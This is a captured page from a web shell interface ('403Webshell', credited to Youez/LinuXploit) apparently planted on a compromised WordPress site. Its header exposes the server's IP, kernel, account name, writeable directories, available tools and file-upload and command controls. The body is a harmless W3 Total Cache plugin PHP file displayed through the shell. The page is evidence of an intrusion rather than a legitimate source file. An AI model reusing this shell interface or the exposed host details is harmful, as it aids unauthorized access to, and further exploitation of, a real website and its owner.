403Webshell
Server IP : 192.64.118.117  /  Your IP : 3.14.248.120
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/tcrgfinancesuite.com/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/tcrgfinancesuite.com/wp-content/plugins/w3-total-cache/Extensions_AdminActions.php
<?php
namespace W3TC;



class Extensions_AdminActions {
	function w3tc_extensions_activate() {
		$config = Dispatcher::config();

		$extension = Util_Request::get_string( 'w3tc_extensions_activate' );
		$ext = Extensions_Util::get_extension( $config, $extension );

		if ( !is_null( $ext ) ) {
			if ( Extensions_Util::activate_extension( $extension, $config ) ) {
				Util_Admin::redirect_with_custom_messages2( array(
						'notes' => array( sprintf(
								__( 'Extension <strong>%s</strong> has been successfully activated.',
									'w3-total-cache' ),
								$ext['name']
							) )
					) );
				return;
			}
		}

		Util_Admin::redirect( array() );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit